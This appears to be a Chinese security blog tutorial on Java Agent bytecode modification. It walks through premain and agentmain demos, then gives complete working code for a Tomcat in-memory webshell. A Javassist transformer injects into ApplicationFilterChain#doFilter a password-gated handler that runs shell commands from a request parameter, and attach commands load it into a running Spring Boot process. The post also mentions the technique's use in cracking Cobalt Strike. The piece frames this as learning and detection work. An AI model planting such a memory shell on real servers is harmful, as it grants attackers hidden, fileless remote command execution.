JAVA Agent两种方法复现
Java Agent 简单说就是一种可以修改 jar 字节码的技术,我们来复现下上述提到的两种方法。
premain
通过实现 premain方法 ,并在启动jar时添加 -javaagent:agent.jar 即可进行字节码修改。首先我们创建一个正常输出、测试用的 JAVA 程序, hello.jar :
packagecom.test;publicclassHello{publicstaticvoidmain(String[] args){ hello(); }publicstaticvoidhello(){for(inti =0; i <1000; i++) { System.out.println("hello");try{ Thread.sleep(1000); }catch(InterruptedException e) { e.printStackTrace(); } } }}
生成jar包:
Build -> Build Artifacts -> Build
正常运行jar包得到如下输出:
java-jar hello.jar
接下来编写一个实现premain方法的JAVA程序:
packagecom.test;importjava.lang.instrument.Instrumentation;publicclasspremainagent{publicstaticvoidpremain(String args, Instrumentation inst)throwsException{for(inti =0; i <10; i++) { System.out.println("hello I`m premain agent!!!"); } }}
并在 MANIFEST.MF 添加一行:
Premain-Class:com.test.premainagent
生成jar包并加载执行:
java-javaagent:premainagent.jar-jarhello.jar
可以看到,成功的在 hello.jar 本身结果输出前输出了 premain 方法的内容:
前面也提到现在破解 CobaltStrike 流行用 JAVA Agent 技术,我们看下破解工具的源码,能发现确实用的也是 premain 方法进行的破解:
agentmain
但是有些 JVM 已经启动了,不好去让他重启,因此这个时候 agentmain 就派上用场了,可以方便的 attach 对应的进程进行字节码的修改。
编写一个实现了 agentmain 方法的 JAVA 程序:
packagecom.test;importjava.lang.instrument.Instrumentation;publicclassagentmaintest{publicstaticvoidagentmain(String agentArgs, Instrumentation inst){for(inti =0; i <10; i++) { System.out.println("hello I`m agentMain!!!"); } }}
并在 MANIFEST.MF 添加一行:
Agent-Class:com.test.agentmaintest
生成 jar 包。
再编写一个 attach 程序(附2):
importcom.sun.tools.attach.*;importjava.io.IOException;importjava.util.List;publicclassTestAgentMain{publicstaticvoid main(String[] args)throwsIOException,AttachNotSupportedException,AgentLoadException,AgentInitializationException{//获取当前系统中所有 运行中的 虚拟机System.out.println("running JVM start ");List list =VirtualMachine.list();for(VirtualMachineDescriptorvmd : list) {System.out.println(vmd.displayName());Stringaim = args[0];//你的jar包if(vmd.displayName().endsWith(aim)) {System.out.println(String.format("find %s, process id %s", vmd.displayName(), vmd.id()));VirtualMachinevirtualMachine =VirtualMachine.attach(vmd.id()); virtualMachine.loadAgent(args[1]);//你想要加载的agentmain包virtualMachine.detach(); } } }}
生成 jar 包。
依然尝试对 hello.jar 进行字节码的修改,但是这次是运行着的 hello.jar :
首先运行 hello.jar :
java -jar hello.jar
对 hello.jar 进行启动后的 attach 加载:
java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain hello.jar agentmaintest.jar
发现成功在 hello.jar 运行过程中进行了字节码修改:
内存马
既然可以修改某个方法的实现,那如果修改 spring boot 的 Filter 是否就可以实现一个 Filter 内存马?这里通过修改 org.apache.catalina.core.ApplicationFilterChain#doFilter 来达到实现内存马的目的。
依然实现一个 agentmain 方法,只是这次 agentmain 方法中不再是 System.out.println 了,而是接收 request 的值来执行命令。一开始跟着前文提到的方法进行复现,发现有一些问题,比如 attach 后会爆 Caused by: java.lang.ClassNotFoundException: org.apache.catalina.core.ApplicationFilterChain
得加上这两句:
ClassPool classPool = ClassPool.getDefault();classPool.appendClassPath(newLoaderClassPath(Thread.currentThread().getContextClassLoader()));
除了上面 agentmain 章节中提到的,在 MANIFEST.MF 中添加一行 Agent-Class ,还要添加一行:
Can-Retransform-Classes:true
且最后执行命令的 JAVA 代码,申明变量类型时得是完整路径,如 InputStream 得变成 java.io.InputStream 。最终代码如下:
package com.test;importjava.lang.instrument.ClassFileTransformer;importjava.lang.instrument.Instrumentation;importjava.security.ProtectionDomain;importjavassist.*;importjava.lang.instrument.UnmodifiableClassException;importjava.lang.instrument.IllegalClassFormatException;importjava.io.IOException;importjava.io.IOException;importjava.lang.instrument.ClassFileTransformer;importjava.lang.instrument.Instrumentation;importjava.lang.instrument.UnmodifiableClassException;importjava.security.ProtectionDomain;importjavassist.CannotCompileException;importjavassist.ClassPool;importjavassist.CtClass;importjavassist.CtMethod;importjavassist.NotFoundException;publicclassmemshell{publicstaticvoid agentmain(StringagentArgs,Instrumentationinstrumentation)throwsClassNotFoundException,UnmodifiableClassException{ instrumentation.addTransformer(newClassFileTransformer() { @Overridepublicbyte[] transform(ClassLoaderloader,StringclassName,Class classBeingRedefined,ProtectionDomainprotectionDomain, byte[] classfileBuffer){System.out.println("premain load Class2:"+ className);if(!"org/apache/catalina/core/ApplicationFilterChain".equals (className)){System.out.println("nonononononono");returnnull; }else{try{System.out.println("tryyyyyyyy");ClassPoolclassPool =ClassPool.getDefault(); classPool.appendClassPath(newLoaderClassPath(Thread.currentThread().getContextClassLoader()));if(classBeingRedefined != null) {ClassClassPathccp = newClassClassPath(classBeingRedefined); classPool.insertClassPath(ccp); }CtClassctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");CtMethodctMethod = ctClass.getDeclaredMethod("doFilter");Stringsource ="{javax.servlet.http.HttpServletRequest request = $1;"+"javax.servlet.http.HttpServletResponse response = $2;"+"request.setCharacterEncoding(\"UTF-8\");"+"String result = \"\";"+"String password = request.getParameter(\"password\");"+"if (password != null && password.equals(\"xxxxxx\")) {"+"String cmd = request.getParameter(\"cmd\");"+"if (cmd != null && cmd.length() > 0) {"+"java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();"+"java.io.ByteArrayOutputStream baos = new java.io.ByteArrayOutputStream();"+"byte[] b = new byte[1024];"+"int a = -1;"+"while ((a = in.read(b)) != -1) {"+"baos.write(b, 0, a);"+"}"+"response.getWriter().println(\"<pre>\" + new String(baos.toByteArray()) + \"</pre>\");"+"}"+"}}"; ctMethod.insertBefore(source);System.out.println("okokkkkkkkkkkkkkkkkkkkkkkkkkkkkk"); byte[] byteCode = ctClass.toBytecode(); ctClass.detach();returnbyteCode; }catch(Exceptione) { e.printStackTrace(); }returnnull; } } },true); instrumentation.retransformClasses(Class.forName("org.apache.catalina.core.ApplicationFilterChain")); }}
打包成 jar ,然后启动 spring boot :
开始注入:
java -Djava.library.path=YOUR_PATH_TO_JDK/jre/bin -cp YOUR_PATH_TO_JDK/lib/tools.jar:TestAgentMain.jar TestAgentMain demo-0.0.1-SNAPSHOT.jar memshell.jar
成功执行命令:
总结
本文借着公开的文章学习了 Java Agent 相关技术,分别对 JVM 运行前和运行后的字节码修改进行了复现,现在 JAVA 内存马越来越流行,借着反序列化等漏洞可以悄无声息的上一个 Webshell ,如何发现此类攻击手段也是一个重要战场。